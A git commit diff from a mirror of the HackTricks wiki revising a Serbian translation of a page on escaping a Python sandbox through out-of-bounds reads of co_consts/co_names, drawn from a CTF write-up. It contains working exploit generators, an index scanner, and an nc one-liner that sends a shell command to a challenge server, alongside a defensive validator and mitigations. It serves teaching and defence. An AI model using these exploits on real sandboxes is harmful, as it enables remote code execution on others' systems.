mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/python/bypass-pytho
This commit is contained in:
parent
fafe9e42b8
commit
38f2772248
@ -6,7 +6,7 @@
|
||||
|
||||
### TL;DR <a href="#tldr-2" id="tldr-2"></a>
|
||||
|
||||
Možemo koristiti OOB read funkciju u LOAD_NAME / LOAD_CONST opcode da dobijemo neki simbol u memoriji. Što znači korišćenje trikova kao što su `(a, b, c, ... stotine simbola ..., __getattribute__) if [] else [].__getattribute__(...)` da dobijemo simbol (kao što je ime funkcije) koji želite.
|
||||
Možemo koristiti OOB read funkciju u LOAD_NAME / LOAD_CONST opcode da dobijemo neki simbol u memoriji. Što znači korišćenje trikova kao što su `(a, b, c, ... stotine simbola ..., __getattribute__) if [] else [].__getattribute__(...)` da dobijemo simbol (kao što je ime funkcije) koji želimo.
|
||||
|
||||
Zatim samo kreirajte svoj exploit.
|
||||
|
||||
@ -19,15 +19,15 @@ if len(source) > 13337: exit(print(f"{'L':O<13337}NG"))
|
||||
code = compile(source, '∅', 'eval').replace(co_consts=(), co_names=())
|
||||
print(eval(code, {'__builtins__': {}}))1234
|
||||
```
|
||||
Možete uneti proizvoljan Python kod, i on će biti kompajliran u [Python kod objekat](https://docs.python.org/3/c-api/code.html). Međutim, `co_consts` i `co_names` tog kod objekta biće zamenjeni praznom tupelom pre nego što se eval-uju taj kod objekat.
|
||||
Možete uneti proizvoljni Python kod, i on će biti kompajliran u [Python kod objekat](https://docs.python.org/3/c-api/code.html). Međutim, `co_consts` i `co_names` tog kod objekta biće zamenjeni praznom tuple pre nego što se eval-uju taj kod objekat.
|
||||
|
||||
Tako da na ovaj način, sve izraze koji sadrže konstante (npr. brojevi, stringovi itd.) ili imena (npr. promenljive, funkcije) mogu na kraju izazvati grešku segmentacije.
|
||||
Tako da na ovaj način, sve izraze koji sadrže konstante (npr. brojevi, stringovi itd.) ili imena (npr. promenljive, funkcije) mogu izazvati segmentacijski grešku na kraju.
|
||||
|
||||
### Out of Bound Read <a href="#out-of-bound-read" id="out-of-bound-read"></a>
|
||||
|
||||
Kako se dešava greška segmentacije?
|
||||
Kako se dešava segfault?
|
||||
|
||||
Hajde da počnemo sa jednostavnim primerom, `[a, b, c]` može biti kompajliran u sledeći bajtkod.
|
||||
Hajde da počnemo sa jednostavnim primerom, `[a, b, c]` bi mogao da se kompajlira u sledeći bajtkod.
|
||||
```
|
||||
1 0 LOAD_NAME 0 (a)
|
||||
2 LOAD_NAME 1 (b)
|
||||
@ -49,7 +49,7 @@ PUSH(value);
|
||||
FAST_DISPATCH();
|
||||
}1234567
|
||||
```
|
||||
Na ovaj način možemo koristiti OOB funkciju da dobijemo "ime" sa proizvoljnog memorijskog ofseta. Da bismo bili sigurni koje ime ima i koji je njegov ofset, samo nastavite da pokušavate `LOAD_NAME 0`, `LOAD_NAME 1` ... `LOAD_NAME 99` ... I mogli biste pronaći nešto oko oparg > 700. Takođe možete pokušati da koristite gdb da pogledate raspored memorije, naravno, ali ne mislim da bi to bilo lakše?
|
||||
Na ovaj način možemo koristiti OOB funkciju da dobijemo "ime" sa proizvoljnog memorijskog ofseta. Da bismo bili sigurni koje ime ima i koji je njegov ofset, samo nastavite da pokušavate `LOAD_NAME 0`, `LOAD_NAME 1` ... `LOAD_NAME 99` ... I mogli biste pronaći nešto u vezi sa oparg > 700. Takođe možete pokušati da koristite gdb da pogledate raspored memorije, naravno, ali ne mislim da bi to bilo lakše?
|
||||
|
||||
### Generating the Exploit <a href="#generating-the-exploit" id="generating-the-exploit"></a>
|
||||
|
||||
@ -128,7 +128,7 @@ print(f'{n}: {ret}')
|
||||
|
||||
# for i in $(seq 0 10000); do python find.py $i ; done1234567891011121314151617181920212223242526272829303132
|
||||
```
|
||||
A sledeće je za generisanje pravog Python eksploita.
|
||||
I sledeće je za generisanje pravog Python eksploita.
|
||||
```python
|
||||
import sys
|
||||
import unicodedata
|
||||
@ -205,7 +205,7 @@ print(source)
|
||||
# (python exp.py; echo '__import__("os").system("sh")'; cat -) | nc challenge.server port
|
||||
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273
|
||||
```
|
||||
U suštini, to radi sledeće stvari, za te stringove dobijamo ih iz `__dir__` metode:
|
||||
U suštini radi sledeće stvari, za te stringove dobijamo ih iz `__dir__` metode:
|
||||
```python
|
||||
getattr = (None).__getattribute__('__class__').__getattribute__
|
||||
builtins = getattr(
|
||||
@ -218,4 +218,117 @@ getattr(
|
||||
'__repr__').__getattribute__('__globals__')['builtins']
|
||||
builtins['eval'](builtins['input']())
|
||||
```
|
||||
---
|
||||
|
||||
### Beleške o verziji i pogođeni opkodi (Python 3.11–3.13)
|
||||
|
||||
- CPython bajtkod opkodi još uvek indeksiraju `co_consts` i `co_names` torke pomoću celobrojnih operanada. Ako napadač može da primora ove torke da budu prazne (ili manje od maksimalnog indeksa koji koristi bajtkod), interpreter će čitati memoriju van granica za taj indeks, što rezultira proizvoljnim PyObject pokazivačem iz obližnje memorije. Relevantni opkodi uključuju barem:
|
||||
- `LOAD_CONST consti` → čita `co_consts[consti]`.
|
||||
- `LOAD_NAME namei`, `STORE_NAME`, `DELETE_NAME`, `LOAD_GLOBAL`, `STORE_GLOBAL`, `IMPORT_NAME`, `IMPORT_FROM`, `LOAD_ATTR`, `STORE_ATTR` → čitaju imena iz `co_names[...]` (za 3.11+ napomena `LOAD_ATTR`/`LOAD_GLOBAL` čuva zastavice u niskom bitu; stvarni indeks je `namei >> 1`). Pogledajte dokumentaciju disassembler-a za tačnu semantiku po verziji. [Python dis docs].
|
||||
- Python 3.11+ je uveo adaptivne/in-line kešove koji dodaju skrivene `CACHE` unose između instrukcija. Ovo ne menja OOB primitiv; to samo znači da, ako ručno pravite bajtkod, morate uzeti u obzir te keš unose prilikom izgradnje `co_code`.
|
||||
|
||||
Praktična implikacija: tehnika na ovoj stranici nastavlja da funkcioniše na CPython 3.11, 3.12 i 3.13 kada možete kontrolisati objekat koda (npr., putem `CodeType.replace(...)`) i smanjiti `co_consts`/`co_names`.
|
||||
|
||||
### Brzi skener za korisne OOB indekse (kompatibilan sa 3.11+/3.12+)
|
||||
|
||||
Ako više volite da istražujete zanimljive objekte direktno iz bajtkoda umesto iz visokog nivoa izvora, možete generisati minimalne objekte koda i brute force indekse. Pomoćni alat ispod automatski ubacuje in-line kešove kada je to potrebno.
|
||||
```python
|
||||
import dis, types
|
||||
|
||||
def assemble(ops):
|
||||
# ops: list of (opname, arg) pairs
|
||||
cache = bytes([dis.opmap.get("CACHE", 0), 0])
|
||||
out = bytearray()
|
||||
for op, arg in ops:
|
||||
opc = dis.opmap[op]
|
||||
out += bytes([opc, arg])
|
||||
# Python >=3.11 inserts per-opcode inline cache entries
|
||||
ncache = getattr(dis, "_inline_cache_entries", {}).get(opc, 0)
|
||||
out += cache * ncache
|
||||
return bytes(out)
|
||||
|
||||
# Reuse an existing function's code layout to simplify CodeType construction
|
||||
base = (lambda: None).__code__
|
||||
|
||||
# Example: probe co_consts[i] with LOAD_CONST i and return it
|
||||
# co_consts/co_names are intentionally empty so LOAD_* goes OOB
|
||||
|
||||
def probe_const(i):
|
||||
code = assemble([
|
||||
("RESUME", 0), # 3.11+
|
||||
("LOAD_CONST", i),
|
||||
("RETURN_VALUE", 0),
|
||||
])
|
||||
c = base.replace(co_code=code, co_consts=(), co_names=())
|
||||
try:
|
||||
return eval(c)
|
||||
except Exception:
|
||||
return None
|
||||
|
||||
for idx in range(0, 300):
|
||||
obj = probe_const(idx)
|
||||
if obj is not None:
|
||||
print(idx, type(obj), repr(obj)[:80])
|
||||
```
|
||||
Notes
|
||||
- Da biste umesto toga ispitivali imena, zamenite `LOAD_CONST` sa `LOAD_NAME`/`LOAD_GLOBAL`/`LOAD_ATTR` i prilagodite korišćenje steka u skladu s tim.
|
||||
- Koristite `EXTENDED_ARG` ili više bajtova `arg` da biste došli do indeksa >255 ako je potrebno. Kada gradite sa `dis` kao gore, kontrolišete samo nizak bajt; za veće indekse, konstruisite sirove bajtove sami ili podelite napad na više učitavanja.
|
||||
|
||||
### Minimalni bytecode-only RCE obrazac (co_consts OOB → builtins → eval/input)
|
||||
|
||||
Kada identifikujete `co_consts` indeks koji se rešava na builtins modul, možete rekonstruisati `eval(input())` bez ikakvih `co_names` manipulišući stekom:
|
||||
```python
|
||||
# Build co_code that:
|
||||
# 1) LOAD_CONST <builtins_idx> → push builtins module
|
||||
# 2) Use stack shuffles and BUILD_TUPLE/UNPACK_EX to peel strings like 'input'/'eval'
|
||||
# out of objects living nearby in memory (e.g., from method tables),
|
||||
# 3) BINARY_SUBSCR to do builtins["input"] / builtins["eval"], CALL each, and RETURN_VALUE
|
||||
# This pattern is the same idea as the high-level exploit above, but expressed in raw bytecode.
|
||||
```
|
||||
Ovaj pristup je koristan u izazovima koji vam daju direktnu kontrolu nad `co_code` dok primoravaju `co_consts=()` i `co_names=()` (npr., BCTF 2024 “awpcode”). Izbegava trikove na nivou izvora i održava veličinu payload-a malom koristeći bytecode stack ops i tuple graditelje.
|
||||
|
||||
### Odbrambene provere i mitigacije za sandboksove
|
||||
|
||||
Ako pišete Python “sandbox” koji kompajlira/evaluira nepouzdani kod ili manipuliše objektima koda, ne oslanjajte se na CPython da proverava granice indeksa tuple-a korišćenih od strane bytecode-a. Umesto toga, sami validirajte objekte koda pre nego što ih izvršite.
|
||||
|
||||
Praktični validator (odbija OOB pristup co_consts/co_names)
|
||||
```python
|
||||
import dis
|
||||
|
||||
def max_name_index(code):
|
||||
max_idx = -1
|
||||
for ins in dis.get_instructions(code):
|
||||
if ins.opname in {"LOAD_NAME","STORE_NAME","DELETE_NAME","IMPORT_NAME",
|
||||
"IMPORT_FROM","STORE_ATTR","LOAD_ATTR","LOAD_GLOBAL","DELETE_GLOBAL"}:
|
||||
namei = ins.arg or 0
|
||||
# 3.11+: LOAD_ATTR/LOAD_GLOBAL encode flags in the low bit
|
||||
if ins.opname in {"LOAD_ATTR","LOAD_GLOBAL"}:
|
||||
namei >>= 1
|
||||
max_idx = max(max_idx, namei)
|
||||
return max_idx
|
||||
|
||||
def max_const_index(code):
|
||||
return max([ins.arg for ins in dis.get_instructions(code)
|
||||
if ins.opname == "LOAD_CONST"] + [-1])
|
||||
|
||||
def validate_code_object(code: type((lambda:0).__code__)):
|
||||
if max_const_index(code) >= len(code.co_consts):
|
||||
raise ValueError("Bytecode refers to const index beyond co_consts length")
|
||||
if max_name_index(code) >= len(code.co_names):
|
||||
raise ValueError("Bytecode refers to name index beyond co_names length")
|
||||
|
||||
# Example use in a sandbox:
|
||||
# src = input(); c = compile(src, '<sandbox>', 'exec')
|
||||
# c = c.replace(co_consts=(), co_names=()) # if you really need this, validate first
|
||||
# validate_code_object(c)
|
||||
# eval(c, {'__builtins__': {}})
|
||||
```
|
||||
Dodatne ideje za ublažavanje
|
||||
- Ne dozvolite proizvoljni `CodeType.replace(...)` na nepouzdanom ulazu, ili dodajte stroge strukturne provere na rezultantnom objektu koda.
|
||||
- Razmotrite pokretanje nepouzdanog koda u odvojenom procesu sa OS-nivo sandboksiranjem (seccomp, job objekti, kontejneri) umesto oslanjanja na CPython semantiku.
|
||||
|
||||
## Reference
|
||||
|
||||
- Splitline-ov HITCON CTF 2022 izveštaj “V O I D” (izvor ove tehnike i visoko-nivo lanac eksploatacije): https://blog.splitline.tw/hitcon-ctf-2022/
|
||||
- Python disassembler dokumentacija (indeksi semantike za LOAD_CONST/LOAD_NAME/etc., i 3.11+ `LOAD_ATTR`/`LOAD_GLOBAL` niske-bitne zastavice): https://docs.python.org/3.13/library/dis.html
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user